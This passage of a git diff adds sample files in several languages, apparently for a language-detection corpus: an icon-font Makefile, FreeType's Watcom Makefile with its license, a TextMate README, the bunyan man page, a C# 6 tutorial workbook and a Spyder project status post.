+svg         := $(wildcard $(icon-folder)/*.svg)
+last-commit  = $(shell git log -1 --oneline --no-abbrev | cut -d' ' -f1)
+
+
+all: unpack $(font-folder)/$(font-name).woff2 charmap
+
+
+# Aliases
+unpack:  $(font-folder)/$(font-name).ttf
+charmap: $(charmap)
+
+
+# Extract a downloaded IcoMoon folder
+$(font-folder)/%.ttf: %.zip
+	@rm -rf $(font-folder) tmp $(font-config)
+	@unzip -qd tmp $^
+	@mv tmp/fonts $(font-folder)
+	@mv tmp/selection.json $(font-config)
+	@rm -rf tmp $^
+	@perl -pi -e 's|^( {2})+|"\t" x (length($$&)/2)|ge' $(font-config)
+	@echo "" >> $(font-config) # Ensure trailing newline
+	@echo "Files extracted."
+
+
+# Generate a WOFF2 file from a TTF
+%.woff2: %.ttf
+	@[ ! -f $@ ] && { \
+		hash woff2_compress 2>/dev/null || { \
+			echo >&2 "WOFF2 conversion tools not found. Consult the readme file."; \
+			exit 2; \
+		}; \
+		woff2_compress $^ >/dev/null; \
+		echo "WOFF2 file generated."; \
+	};
+	
+
+
+# Clean up SVG source
+lint: $(svg)
+	@perl -0777 -pi -e '\
+		s/\r\n/\n/g; \
+		s/<g id="icomoon-ignore">\s*<\/g>//gmi; \
+		s/<g\s*>\s*<\/g>//gmi; \
+		s/\s+(id|viewBox|xml:space)="[^"]*"/ /gmi; \
+		s/<!DOCTYPE[^>]*>//gi; \
+		s/<\?xml.*?\?>//gi; \
+		s/<!--.*?-->//gm; \
+		s/ style="enable-background:.*?;"//gmi; \
+		s/"\s+>/">/g; \
+		s/\x20{2,}/ /g; \
+		s/[\t\n]+//gm;' $^
+
+
+
+# Generate/update character map
+$(charmap):
+	@./create-map.pl -r=$(repo-name) -i=$(icon-folder) --size=$(icon-size) $(font-folder)/$(font-name).svg $@
+
+
+
+
+# POSIX systems only: reattach hard links to File-Icons package
+relink:
+	@$(call need-var,ATOM_FILE_ICONS,ERROR_NO_PKG)
+	@ln -f $(font-folder)/$(font-name).woff2 $(wildcard $(ATOM_FILE_ICONS)/fonts/file-icons-*.woff2)
+
+
+
+# Force an icon's preview to be refreshed on GitHub
+cachebust:
+	@$(call need-var,icon,ERROR_NO_ICON)
+	@base="https://cdn.rawgit.com/Alhadis/FileIcons/"; \
+	perl -pi -e 's{$$base\K\w+(?=/svg/$(icon:%.svg=%)\.svg")}{$(last-commit)}ig;' $(charmap)
+
+
+# Dummy task to improve feedback if `cachebust` is mistyped
+icon:
+	$(call need-var,,ERROR_UNDEF_ICON)
+
+
+
+# Reset unstaged changes/additions in object directories
+clean:
+	@git clean -fd $(font-folder)
+	@git checkout -- $(font-folder) 2>/dev/null || true
+
+
+# Delete extracted and generated files
+distclean:
+	@rm -rf $(font-folder)
+
+
+.PHONY: clean distclean $(charmap) cachebust icon
+.ONESHELL:
+
+
+# Error message shown to users attempting to run `make relink` without a link
+ERROR_NO_PKG := Environment variable ATOM_FILE_ICONS not found. \
+	| \
+	| Try this instead:\
+	| \
+	| \	make relink ATOM_FILE_ICONS=/path/to/your/file-icons/installation | 
+
+
+# Error message shown when running `make cachebust` without an icon
+ERROR_NO_ICON := No icon specified. Task aborted.| \
+	| Usage: \
+	| \	make icon=file[.svg] cachebust \
+	| \
+	| Examples: \
+	| \	make icon=Manpage cachebust \
+	| \	make icon=APL.svg cachebust | 
+
+
+# Shown if user tries running `make icon NAME cachebust` by mistake
+ERROR_UNDEF_ICON := No task named \"icon\". \
+	| \
+	| Did you mean this? \
+	| \	make icon=NAME cachebust | 
+	
+
+
+# If the given value is empty, die with an error message
+need = @$(if $(1),,echo $(subst | ,$$'\n',$(2)); exit 2)
+
+# Like `need`, but uses variable names instead of string values
+need-var = @$(call need,$($(1)),$($(2)))
diff --git a/samples/Makefile/filenames/Makefile.wat b/samples/Makefile/filenames/Makefile.wat
new file mode 100644
index 0000000000..fa14552775
--- /dev/null
+++ b/samples/Makefile/filenames/Makefile.wat
@@ -0,0 +1,248 @@
+#
+#                     The FreeType Project LICENSE
+#                     ----------------------------
+# 
+#                        Copyright 1996-1999 by
+#           David Turner, Robert Wilhelm, and Werner Lemberg
+# 
+# 
+# 
+# Introduction
+# ============
+# 
+#   The FreeType  Project is distributed in  several archive packages;
+#   some of them may contain, in addition to the FreeType font engine,
+#   various tools and  contributions which rely on, or  relate to, the
+#   FreeType Project.
+# 
+#   This  license applies  to all  files found  in such  packages, and
+#   which do not  fall under their own explicit  license.  The license
+#   affects  thus  the  FreeType   font  engine,  the  test  programs,
+#   documentation and makefiles, at the very least.
+# 
+#   This  license   was  inspired  by  the  BSD,   Artistic,  and  IJG
+#   (Independent JPEG  Group) licenses, which  all encourage inclusion
+#   and  use of  free  software in  commercial  and freeware  products
+#   alike.  As a consequence, its main points are that:
+# 
+#     o We don't promise that this software works.  However, we are be
+#       interested in any kind of bug reports. (`as is' distribution)
+# 
+#     o You can  use this software for whatever you  want, in parts or
+#       full form, without having to pay us. (`royalty-free' usage)
+# 
+#     o You may not pretend that  you wrote this software.  If you use
+#       it, or  only parts of it,  in a program,  you must acknowledge
+#       somewhere in your documentation  that you've used the FreeType
+#       code. (`credits')
+# 
+#   We  specifically  permit  and  encourage  the  inclusion  of  this
+#   software,  with  or without modifications, in commercial products,
+#   provided that all warranty or  liability claims are assumed by the
+#   product vendor.
+# 
+# 
+# Legal Terms
+# ===========
+# 
+# 0. Definitions
+# --------------
+# 
+#   Throughout this license,  the terms `package', `FreeType Project',
+#   and  `FreeType  archive' refer  to  the  set  of files  originally
+#   distributed  by the  authors  (David Turner,  Robert Wilhelm,  and
+#   Werner Lemberg) as the `FreeType project', be they named as alpha,
+#   beta or final release.
+# 
+#   `You' refers to  the licensee, or person using  the project, where
+#   `using' is a generic term including compiling the project's source
+#   code as  well as linking it  to form a  `program' or `executable'.
+#   This  program is  referred to  as  `a program  using the  FreeType
+#   engine'.
+# 
+#   This  license applies  to all  files distributed  in  the original
+#   FreeType  archive,   including  all  source   code,  binaries  and
+#   documentation,  unless  otherwise  stated   in  the  file  in  its
+#   original, unmodified form as  distributed in the original archive.
+#   If you are  unsure whether or not a particular  file is covered by
+#   this license, you must contact us to verify this.
+# 
+#   The FreeType  project is copyright (C) 1996-1999  by David Turner,
+#   Robert Wilhelm, and Werner Lemberg.  All rights reserved except as
+#   specified below.
+# 
+# 1. No Warranty
+# --------------
+# 
+#   THE FREETYPE ARCHIVE  IS PROVIDED `AS IS' WITHOUT  WARRANTY OF ANY
+#   KIND, EITHER EXPRESSED OR  IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+#   WARRANTIES  OF  MERCHANTABILITY   AND  FITNESS  FOR  A  PARTICULAR
+#   PURPOSE.  IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS
+#   BE LIABLE  FOR ANY DAMAGES CAUSED  BY THE USE OR  THE INABILITY TO
+#   USE, OF THE FREETYPE PROJECT.
+# 
+#   As  you have  not signed  this license,  you are  not  required to
+#   accept  it.   However,  as  the FreeType  project  is  copyrighted
+#   material, only  this license, or  another one contracted  with the
+#   authors, grants you  the right to use, distribute,  and modify it.
+#   Therefore,  by  using,  distributing,  or modifying  the  FreeType
+#   project, you indicate that you understand and accept all the terms
+#   of this license.
+# 
+# 2. Redistribution
+# -----------------
+# 
+#   Redistribution and use in source and binary forms, with or without
+#   modification, are permitted provided that the following conditions
+#   are met:
+# 
+#     o Redistribution  of source code  must retain this  license file
+#       (`licence.txt') unaltered; any additions, deletions or changes
+#       to   the  original   files  must   be  clearly   indicated  in
+#       accompanying  documentation.   The  copyright notices  of  the
+#       unaltered, original  files must be preserved in  all copies of
+#       source files.
+# 
+#     o Redistribution in binary form must provide a  disclaimer  that
+#       states  that  the software is based in part of the work of the
+#       FreeType Team,  in  the  distribution  documentation.  We also
+#       encourage you to put an URL to the FreeType web page  in  your
+#       documentation, though this isn't mandatory.
+# 
+#   These conditions  apply to any  software derived from or  based on
+#   the FreeType code, not just  the unmodified files.  If you use our
+#   work, you  must acknowledge us.  However,  no fee need  be paid to
+#   us.
+# 
+# 3. Advertising
+# --------------
+# 
+#   The names of  FreeType's authors and contributors may  not be used
+#   to endorse or promote  products derived from this software without
+#   specific prior written permission.
+#   
+#   We suggest,  but do not require, that  you use one or  more of the
+#   following phrases to refer  to this software in your documentation
+#   or advertising  materials: `FreeType Project',  `FreeType Engine',
+#   `FreeType library', or `FreeType Distribution'.
+# 
+# 4. Contacts
+# -----------
+# 
+#   There are two mailing lists related to FreeType:
+# 
+#     o freetype@freetype.org
+# 
+#       Discusses general use and applications of FreeType, as well as
+#       future and  wanted additions to the  library and distribution.
+#       If  you are looking  for support,  start in  this list  if you
+#       haven't found anything to help you in the documentation.
+# 
+#     o devel@freetype.org
+# 
+#       Discusses bugs,  as well  as engine internals,  design issues,
+#       specific licenses, porting, etc.
+# 
+#     o http://www.freetype.org
+# 
+#       Holds the current  FreeType web page, which will  allow you to
+#       download  our  latest  development  version  and  read  online
+#       documentation.
+# 
+#   You can also contact us individually at:
+# 
+#     David Turner      <david.turner@freetype.org>
+#     Robert Wilhelm    <robert.wilhelm@freetype.org>
+#     Werner Lemberg    <werner.lemberg@freetype.org>
+# 
+# 
+# --- end of license ---
+#
+# This file is part of the FreeType project.
+#
+# This builds the Watcom library with Watcom's wcc386 under OS/2.
+#
+# You'll need Watcom's wmake.
+#
+#
+# Invoke by "wmake -f arch\os2\Makefile.wat" when in the "lib" directory
+#
+# This will build "freetype\lib\libttf.lib"
+
+ARCH = arch\os2
+FT_MAKEFILE = $(ARCH)\Makefile.wat
+FT_MAKE = wmake -h
+
+
+.EXTENSIONS:
+.EXTENSIONS: .lib .obj .c .h
+.obj:.;.\extend;.\$(ARCH)
+.c:.;.\extend;.\$(ARCH)
+.h:.;.\extend;.\$(ARCH)
+
+CC = wcc386
+
+CCFLAGS = /otexanl+ /s /w5 /zq -Iarch\os2 -I. -Iextend
+
+TTFILE   = .\ttfile.c
+TTMEMORY = .\ttmemory.c
+TTMUTEX  = .\ttmutex.c
+
+TTFILE_OBJ = ttfile.obj
+TTMEMORY_OBJ = ttmemory.obj
+TTMUTEX_OBJ = ttmutex.obj
+
+PORT = $(TTFILE) $(TTMEMORY) $(TTMUTEX)
+PORT_OBJS = $(TTFILE_OBJ) $(TTMEMORY_OBJ) $(TTMUTEX_OBJ)
+
+SRC_X = extend\ftxgasp.c extend\ftxkern.c  extend\ftxpost.c &
+        extend\ftxcmap.c extend\ftxwidth.c extend\ftxsbit.c &
+        extend\ftxgsub.c extend\ftxgpos.c  extend\ftxopen.c &
+        extend\ftxgdef.c
+
+OBJS_X = extend\ftxgasp.obj extend\ftxkern.obj  extend\ftxpost.obj &
+         extend\ftxcmap.obj extend\ftxwidth.obj extend\ftxsbit.obj &
+         extend\ftxgsub.obj extend\ftxgpos.obj  extend\ftxopen.obj &
+         extend\ftxgdef.obj
+
+SRC_M = ttapi.c     ttcache.c   ttcalc.c   ttcmap.c  &
+        ttgload.c   ttinterp.c  ttload.c   ttobjs.c  &
+        ttraster.c  ttextend.c  $(PORT)
+
+OBJS_M = ttapi.obj     ttcache.obj   ttcalc.obj   ttcmap.obj  &
+         ttgload.obj   ttinterp.obj  ttload.obj   ttobjs.obj  &
+         ttraster.obj  ttextend.obj  $(PORT_OBJS) $(OBJS_X)
+
+SRC_S = freetype.c
+OBJ_S = freetype.obj
+OBJS_S = $(OBJ_S) $(OBJS_X)
+
+
+.c.obj:
+  $(CC) $(CCFLAGS) $[* /fo=$[*.obj
+
+all: .symbolic
+  $(FT_MAKE) -f $(FT_MAKEFILE) libttf.lib
+
+debug: .symbolic
+  $(FT_MAKE) -f $(FT_MAKEFILE) LIB_FILES="$(OBJS_M)" libttf.lib
+
+
+libttf.lib: $(OBJS_M)
+  wlib -q -n libttf.lib $(OBJS_M)
+
+# is this correct? Know nothing about wmake and the Watcom compiler...
+$(OBJ_S): $(SRC_S) $(SRC_M)
+  $(CC) $(CCFLAGS) $(SRC_S) /fo=$(OBJ_S)
+
+clean: .symbolic
+  @-erase $(OBJS_M)
+  @-erase *.err
+
+distclean: .symbolic clean
+  @-erase libttf.lib
+
+new: .symbolic
+  @-wtouch *.c
+
+# end of Makefile.wat
diff --git a/samples/Markdown/README.mdown b/samples/Markdown/README.mdown
new file mode 100644
index 0000000000..32d8f85a4c
--- /dev/null
+++ b/samples/Markdown/README.mdown
@@ -0,0 +1,20 @@
+# Installation
+
+You can install this bundle in TextMate by opening the preferences and going to the bundles tab. After installation it will be automatically updated for you.
+
+# General
+
+* [Bundle Styleguide](http://kb.textmate.org/bundle_styleguide) — _before you make changes_
+* [Commit Styleguide](http://kb.textmate.org/commit_styleguide) — _before you send a pull request_
+* [Writing Bug Reports](http://kb.textmate.org/writing_bug_reports) — _before you report an issue_
+
+# License
+
+If not otherwise specified (see below), files in this repository fall under the following license:
+
+	Permission to copy, use, modify, sell and distribute this
+	software is granted. This software is provided "as is" without
+	express or implied warranty, and with no claim as to its
+	suitability for any purpose.
+
+An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
\ No newline at end of file
diff --git a/samples/Markdown/bunyan.1.ronn b/samples/Markdown/bunyan.1.ronn
new file mode 100644
index 0000000000..c09b93382b
--- /dev/null
+++ b/samples/Markdown/bunyan.1.ronn
@@ -0,0 +1,195 @@
+# bunyan(1) -- filter and pretty-print Bunyan log file content
+
+
+## SYNOPSIS
+
+`bunyan` \[OPTIONS\]
+
+... | `bunyan` \[OPTIONS\]
+
+`bunyan` \[OPTIONS\] -p PID
+
+
+## DESCRIPTION
+
+"Bunyan" is **a simple and fast a JSON logging library** for node.js services,
+a one-JSON-object-per-line log format, and **a `bunyan` CLI tool** for nicely
+viewing those logs. This man page describes the latter.
+
+
+### Pretty-printing
+
+A bunyan log file is a stream of JSON objects, optionally interspersed with
+non-JSON log lines. The primary usage of bunyan(1) is to pretty print,
+for example:
+
+    $ bunyan foo.log          # or `cat foo.log | bunyan
+    [2012-02-08T22:56:52.856Z]  INFO: myservice/123 on example.com: My message
+        extra: multi
+        line
+    [2012-02-08T22:56:54.856Z] ERROR: myservice/123 on example.com: My message
+    ...
+
+By default the "long" output format is used. Use the `-o FORMAT` option to
+emit other formats. E.g.:
+
+    $ bunyan foo.log -o short
+    22:56:52.856Z  INFO myservice: My message
+        extra: multi
+        line
+    22:56:54.856Z ERROR myservice: My message
+    ...
+
+These will color the output if supported in your terminal.
+See "OUTPUT FORMATS" below.
+
+
+### Filtering
+
+The `bunyan` CLI can also be used to filter a bunyan log. Use `-l LEVEL`
+to filter by level:
+
+    $ bunyan foo.log -l error       # show only 'error' level records
+    [2012-02-08T22:56:54.856Z] ERROR: myservice/123 on example.com: My message
+
+Use `-c COND` to filter on a JavaScript expression returning true on the
+record data. In the COND code, `this` refers to the record object:
+
+    $ bunyan foo.log -c `this.three`     # show records with the 'extra' field
+    [2012-02-08T22:56:52.856Z]  INFO: myservice/123 on example.com: My message
+        extra: multi
+        line
+
+
+## OPTIONS
+
+  * `-h`, `--help`:
+    Print this help info and exit.
+
+  * `--version`:
+    Print version of this command and exit.
+
+  * `-q`, `--quiet`:
+    Don't warn if input isn't valid JSON.
+
+Dtrace options (only on dtrace-supporting platforms):
+
+  * `-p PID`, `-p NAME`:
+    Process bunyan:log-\* probes from the process with the given PID.
+    Can be used multiple times, or specify all processes with '\*',
+    or a set of processes whose command & args match a pattern with
+    '-p NAME'.
+
+Filtering options:
+
+  * `-l`, `--level LEVEL`:
+    Only show messages at or above the specified level. You can specify level
+    *names* or numeric values. (See 'Log Levels' below.)
+
+  * `-c COND`, `--condition COND`:
+    Run each log message through the condition and only show those that
+    resolve to a truish value. E.g. `-c 'this.pid == 123'`.
+
+  * `--strict`:
+    Suppress all but legal Bunyan JSON log lines. By default non-JSON, and
+    non-Bunyan lines are passed through.
+
+Output options:
+
+  * `--color`:
+    Colorize output. Defaults to try if output stream is a TTY.
+
+  * `--no-color`:
+    Force no coloring (e.g. terminal doesn't support it)
+
+  * `-o FORMAT`, `--output FORMAT`:
+    Specify an output format. One of `long` (the default), `short`, `json`,
+    `json-N`, `bunyan` (the native bunyan 0-indent JSON output) or `inspect`.
+
+  * `-j`:
+    Shortcut for `-o json`.
+
+  * `-L`, `--time local`:
+    Display the time field in *local* time, rather than the default UTC
+    time.
+
+
+## LOG LEVELS
+
+In Bunyan log records, then `level` field is a number. For the `-l|--level`
+argument the level **names** are supported as shortcuts. In `-c|--condition`
+scripts, uppercase symbols like "DEBUG" are defined for convenience.
+
+    Level Name      Level Number    Symbol in COND Scripts
+    trace           10              TRACE
+    debug           20              DEBUG
+    info            30              INFO
+    warn            40              WARN
+    error           50              ERROR
+    fatal           60              FATAL
+
+
+## OUTPUT FORMATS
+
+    FORMAT NAME         DESCRIPTION
+    long (default)      The default output. Long form. Colored and "pretty".
+                        'req' and 'res' and 'err' fields are rendered specially
+                        as an HTTP request, HTTP response and exception
+                        stack trace, respectively. For backward compat, the
+                        name "paul" also works for this.
+    short               Like the default output, but more concise. Some
+                        typically redundant fields are ellided.
+    json                JSON output, 2-space indentation.
+    json-N              JSON output, N-space indentation, e.g. "json-4"
+    bunyan              Alias for "json-0", the Bunyan "native" format.
+    inspect             Node.js `util.inspect` output.
+
+
+## DTRACE SUPPORT
+
+On systems that support DTrace (e.g., MacOS, FreeBSD, illumos derivatives
+like SmartOS and OmniOS), Bunyan will create a DTrace provider (`bunyan`)
+that makes available the following probes:
+
+    log-trace
+    log-debug
+    log-info
+    log-warn
+    log-error
+    log-fatal
+
+Each of these probes has a single argument: the string that would be
+written to the log.  Note that when a probe is enabled, it will
+fire whenever the corresponding function is called, even if the level of
+the log message is less than that of any stream.
+
+See <https://github.com/trentm/node-bunyan#dtrace-support> for more details
+and the '-p PID' option above for convenience usage.
+
+
+## ENVIRONMENT
+
+  * `BUNYAN_NO_COLOR`:
+    Set to a non-empty value to force no output coloring. See '--no-color'.
+
+
+## PROJECT & BUGS
+
+`bunyan` is written in JavaScript and requires node.js (`node`). The project
+lives at <https://github.com/trentm/node-bunyan> and is published to npm as
+"bunyan".
+
+* README, Install notes: <https://github.com/trentm/node-bunyan#readme>
+* Report bugs to <https://github.com/trentm/node-bunyan/issues>.
+* See the full changelog at: <https://github.com/trentm/node-bunyan/blob/master/CHANGES.md>
+
+
+## LICENSE
+
+MIT License (see <https://github.com/trentm/node-bunyan/blob/master/LICENSE.txt>)
+
+
+## COPYRIGHT
+
+node-bunyan is Copyright (c) 2012 Joyent, Inc. Copyright (c) 2012 Trent Mick.
+All rights reserved.
diff --git a/samples/Markdown/csharp6.workbook b/samples/Markdown/csharp6.workbook
new file mode 100644
index 0000000000..2bc6f6eb2f
--- /dev/null
+++ b/samples/Markdown/csharp6.workbook
@@ -0,0 +1,192 @@
+---
+uti: com.xamarin.workbook
+platforms:
+- Console
+---
+
+# Using C# 6
+
+Some examples from Xamarin's [intro to C# 6](https://developer.xamarin.com/guides/cross-platform/advanced/csharp_six/).
+
+* Null-conditional operator
+
+* String Interpolation
+
+* Expression-bodied Function Members
+
+* Auto-property Initialization
+
+* Index Initializers
+
+* using static
+
+## Null-conditional operator
+
+The `?.` operator automatically does a null-check before referencing the
+specified member. The example string array below has a `null` entry:
+
+```csharp
+var names = new string[] { "Foo", null };
+```
+
+In C# 5, a null-check is required before accessing the `.Length` property:
+
+```csharp
+// C# 5
+int secondLength = 0;
+if (names[1] != null)
+  secondLength = names[1].Length;
+```
+
+C# 6 allows the length to be queried in a single line; the entire
+statement returns `null` if any object is null.
+
+```csharp
+var length0 = names[0]?.Length; // 3
+var length1 = names[1]?.Length; // null
+```
+
+This can be used in conjunction with the `??` null coalescing operator
+to set a default value (such as `0`) in the example below:
+
+```csharp
+var lengths = names.Select (names => names?.Length ?? 0); //[3, 0]
+```
+
+## String Interpolation
+
+Previously strings were built in a number of different ways:
+
+```csharp
+var animal = "Monkeys";
+var food = "bananas";
+
+var out1 = String.Format ("{0} love to eat {1}", animal, food);
+var out2 = animal + " love to eat " + food;
+// or even StringBuilder
+```
+
+C# 6 provides a simple syntax where the fieldname can be
+embedded directly in the string:
+
+```csharp
+$"{animal} love to eat {food}"
+```
+
+String-formatting can also be done with this syntax:
+
+```csharp
+var values = new int[] { 1, 2, 3, 4, 12, 123456 };
+foreach (var s in values.Select (i => $"The value is {i,10:N2}.")) {
+   Console.WriteLine (s);
+}
+```
+
+## Expression-bodied Function Members
+
+The `ToString` override in the following class is an expression-bodied
+function - a more succinct declaration syntax.
+
+```csharp
+class Person
+{
+    public string FirstName { get; }
+    public string LastName { get; }
+    public Person (string firstname, string lastname)
+    {
+       FirstName = firstname;
+       LastName = lastname;
+    }
+    // note there is no explicit `return` keyword
+    public override string ToString () => $"{LastName}, {FirstName} {LastName}";
+}
+```
+
+`void` expression bodied functions are also allowed so long as
+the expression is a statement:
+
+```csharp
+public void Log(string message) => System.Console.WriteLine($"{DateTime.Now.ToString ("s", System.Globalization.CultureInfo.InvariantCulture )}: {message}");
+```
+
+This simple example calls these two methods:
+
+```csharp
+Log(new Person("James", "Bond").ToString())
+```
+
+## Auto-property Initialization
+
+Properties (ie. specified with `{get;set;}`) can be initialized inline
+with C# 6:
+
+```csharp
+class Todo
+{
+    public bool Done { get; set; } = false;
+    public DateTime Created { get; } = DateTime.Now;
+    public string Description { get; }
+
+    public Todo (string description)
+    {
+       this.Description = description; // can assign (only in constructor!)
+    }
+    public override string ToString () => $"'{Description}' was created on {Created}";
+}
+```
+
+```csharp
+new Todo("buy apples")
+```
+
+## Index Initializers
+
+Dictionary-style data structures let you specify key/value
+types with a simple object-initializer-like syntax:
+
+```csharp
+var userInfo = new Dictionary<string,object> {
+    ["Created"] = DateTime.Now,
+    ["Due"] = DateTime.Now.AddSeconds(60 * 60 * 24),
+    ["Task"] = "buy lettuce"
+};
+```
+
+## using static
+
+Enumerations, and certain classes such as System.Math, are primarily
+holders of static values and functions. In C# 6, you can import all
+static members of a type with a single using static statement:
+
+```csharp
+using static System.Math;
+```
+
+C# 6 code can then reference the static members directly, avoiding
+repetition of the class name (eg. `Math.PI` becomes `PI`):
+
+```csharp
+public class Location 
+{
+    public Location (double lat, double @long) {Latitude = lat; Longitude = @long;} 
+    public double Latitude = 0; public double Longitude = 0; 
+}
+static public double MilesBetween(Location loc1, Location loc2)
+{
+  double rlat1  = PI * loc1.Latitude / 180;
+  double rlat2  = PI * loc2.Latitude / 180;
+  double theta  = loc1.Longitude - loc2.Longitude;
+  double rtheta = PI * theta / 180;
+  double dist =
+      Sin(rlat1) * Sin(rlat2) + Cos(rlat1) *
+      Cos(rlat2) * Cos(rtheta);
+  dist = Acos(dist);
+  dist = dist*180/PI;
+  dist = dist*60*1.1515;
+  return dist; //miles
+}
+```
+
+```csharp
+MilesBetween (new Location(-12,22), new Location(-13,33))
+```
\ No newline at end of file
diff --git a/samples/Markdown/filenames/contents.lr b/samples/Markdown/filenames/contents.lr
new file mode 100644
index 0000000000..347e79f5d2
--- /dev/null
+++ b/samples/Markdown/filenames/contents.lr
@@ -0,0 +1,111 @@
+title: State of the Spyder, Part 1: Looking back
+---
+pub_date: 2018-05-06 00:00
+---
+tags: development, status-update, milestone
+---
+category: Status
+---
+author: camgerlach
+---
+summary: In the first of a three part series, we look back at the major events, project changes, milestones, and progress over the past six months since our previous funding ended. We'll also go over funding and development stats and status up to the present.
+---
+body:
+
+As we approach some major development milestones, now is as good a time as ever to share with you some perspective on where we've been, what's happening now, and where we're going in the world of Spyder.
+In this post, part one of a three part series, we'll take a look back over the past six months at some of the key events, accomplishments and challenges for Spyder and its community, and how that all leads up to where we are now.
+
+Stay tuned right here, since part two will share several exciting announcements that affect the project (in a good way, we promise!) and its immediate future.
+Even better, part three will formally announce the next Spyder 3 release and—what I'm sure you are all looking forward to—the plan for the first official Spyder 4 beta, plus our schedule and feature roadmap for Spyder 4 and beyond!
+
+
+## A Call Answered
+
+Starting off, as we announced back in mid-November, our funding from Anaconda, Inc was discontinued, leaving Spyder without formal institutional financial support.
+As Spyder was, is and always will be a community-developed and supported IDE, this was far from a mortal blow to the project, but it did impact the pace and breadth of development.
+Developer effort previously spent on our Spyder plugins, like [spyder-notebook](https://github.com/spyder-ide/spyder-notebook), [spyder-reports](https://github.com/spyder-ide/spyder-reports), and [spyder-terminal](https://github.com/spyder-ide/spyder-terminal), among others, was refocused on the Spyder core, and the development and release of Spyder 4 was put mostly on hold.
+To help make up for the loss of funding, we appealed to the community for support, asking users who found Spyder valuable to back our project on [OpenCollective](https://opencollective.com/spyder), in order to accelerate development and fund more features for Spyder 4.
+
+![Spyder OpenCollective, showing many donations and backers](spyder_opencollective.png)
+
+To our unending gratitude, you responded! In the few months since then, we've gone from zero to a budget of well over $4500 per year and rising at an increasing pace, thanks to the continuing contributions of over 80 (and counting!) individual and institutional backers.
+We also had several new core team members and community contributors pitch in to help carry the load, and we've got some more great news in the very next post on the funding front.
+While we've got a ways to go to match the level of funding we've received under Anaconda, your support has helped make possible several of the new features we've planned for Spyder 4, and allow us to commit to releasing it much sooner than we would be able to otherwise.
+Your generous donations go directly toward funding the Spyder community's most-requested new and improved features for Spyder 4, so keep them coming!
+Stay tuned; we are considering rolling out new donation tiers and rewards at some point soon so you won't want to miss that.
+
+
+## Development by the Numbers
+
+On the development side of the project, while our overall pace is modestly lower than its peak under our Anaconda funding, we've been quite active fixing bugs and adding new features and enhancements over the past six months.
+By the numbers, since mid-November, we've pushed approximately 1200 commits to ``master`` (Spyder 4), comprising over 37 000 lines added and 16 000 removed, and 900 commits to ``3.x`` (Spyder 3), with over 16 500 additions and 10 000 deletions.
+Users have opened over 1375 issues (bugs, feature requests and other feedback), of which we've managed to resolve more than 1330, or nearly 97%.
+
+![Github commit timeseries for Spyder, with high activity over the past few years](github_commit_history.png)
+
+Further, over 250 pull requests from almost two dozen unique contributors, some old, some new, have been submitted since that time—fixing bugs, adding new or enhanced functionality, or making other improvements—of which 226 have been merged to the main Spyder codebase.
+This work has coalesced into four separate official releases during that period, with another only days away.
+Finally, we've recently blown past the 3000 Github stars milestone a few weeks ago (we're now at more than 3200), with almost 700 unique forks to date.
+
+
+## Key Spyder Improvements
+
+All those numbers are nice, but what matters most are the tangible improvements that you all get to use every day in your favorite IDE.
+Over those same past six months, alongside hundreds of bugfixes and minor enhancements, we've made multiple significant improvements to the Spyder 3 Editor, IPython Console, Variable Explorer, and Find in Files tool, along with a number of others under the hood and to the application as a whole.
+Even better, the majority of these were suggested by you, our users, and some of you even pitched in to help implement them.
+
+Especially since you will probably be spending most of your time in it, we added a several new commands and functions to the **Editor** that will hopefully make your life easier, each with corresponding customizable shortcuts for easier access.
+You can now insert a new line below the current one regardless of the cursor's current position with ``Ctrl-Shift-Enter``, and you can now use ``Shift-Delete`` to cut selected text, and ``Shift-Insert`` to paste it.
+``Ctrl-PageUp``, ``Ctrl-PageDown``, and ``Ctrl-Tab`` shortcuts are all now fully configurable.
+Finally, you can now easily ``Tab`` from the ``Find`` to the ``Replace`` box when open, and better yet your ``Find`` text is automatically copied to the ``Replace`` box to make modifications easier.
+
+Second only to the Editor in terms of them most critical Spyder components, the **IPython Console** also got a lot of love in recent releases.
+We've made several improvements to significantly improve the startup time, and added an optional feature to show the elapsed time each kernel has been running.
+You can now remove all user-defined variables with a GUI command, and changes in ``import``ed modules now take effect instantly and automatically in the console, without even a re-``import`` needed.
+``Cloudpickle`` is now used to serialize objects from the Console to the Variable Explorer, greatly improving the latter's capabilities (as discussed below).
+Finally, Cython files are now automatically run in dedicated Cython consoles, and you can now use the edit magic command from the Console to open any file right inside Spyder's Editor.
+
+![Variable Explorer, with a variety of array types displayed](varexp_array_display.png)
+
+The **Variable Explorer**, which many of you cite as Spyder's "killer feature", has greatly improved as well.
+Most notably, thanks to the aforementioned ``cloudpickle`` change, you now have access to rich, deep exploration of nearly any object, builtin or custom, and can traverse, view, and when possible even edit complex hierarchies of nested types with ease.
+The Variable Explorer now fully supports ``Timedelta`` objects, both built-in and ``Pandas`` variants, allowing you to easily view and edit them just like ``datetime`` and ``Timestamp``.
+It also now uses a "pretty", more human-readable format for dates, times, timedeltas and the like, and also now supports displaying a much wider range of ``Numpy`` array types.
+As a quality of life change, it has much better handling of immutable types, like ``tuples``, clearly showing they can't be edited upfront and avoiding bothersome errors when trying to do so.
+
+Rounding out the major changes, the **Find in Files** tool now allows you to remove items from the ``Search In`` list by hovering over them and pressing ``Delete``, and there's also a new option to clear all recent directories.
+Under the hood, we've made ``PyQt5`` a dependency for easier, one-command installation and added many more tests and better project infrastructure to help catch errors.
+To make things easier on you if something does go wrong, we've greatly improved the error reporting system, the UI/UX and the explanatory text to be more up to date, informative, and user friendly.
+
+![New Spyder error report dialog, with more helpful UI text](error_report_dialog.png)
+
+All of the mentioned additions are included in the latest released version of Spyder, 3.2.8, which you can update to with ``conda update spyder`` (if using Anaconda), with your package manager/distribution (if installed that way) or with ``pip update spyder`` (otherwise).
+Even more are already implemented for our next release, due out in a week's time, and we'll have a preview of what to expect right here on the blog even sooner.
+
+
+## Affiliated Project Progress
+
+Outside the core Spyder IDE, while most plugins have been paused until the Spyder 4 release, work on other affiliated projects has continued. The new [spyder-unittest](https://github.com/spyder-ide/spyder-unittest) plugin has seen particularly active development, and lead developer and Spyder team member [Jitse Niesen](http://www1.maths.leeds.ac.uk/~jitse/) recently published a [tutorial on its use](https://www.spyder-ide.org/blog/introducing-unittest-plugin/).
+Since November, it has gotten improved ``pytest`` support with realtime test results and click-to-open, better UI/UX, a robust communications backend (ZeroMQ), and numerous bug fixes and minor improvements.
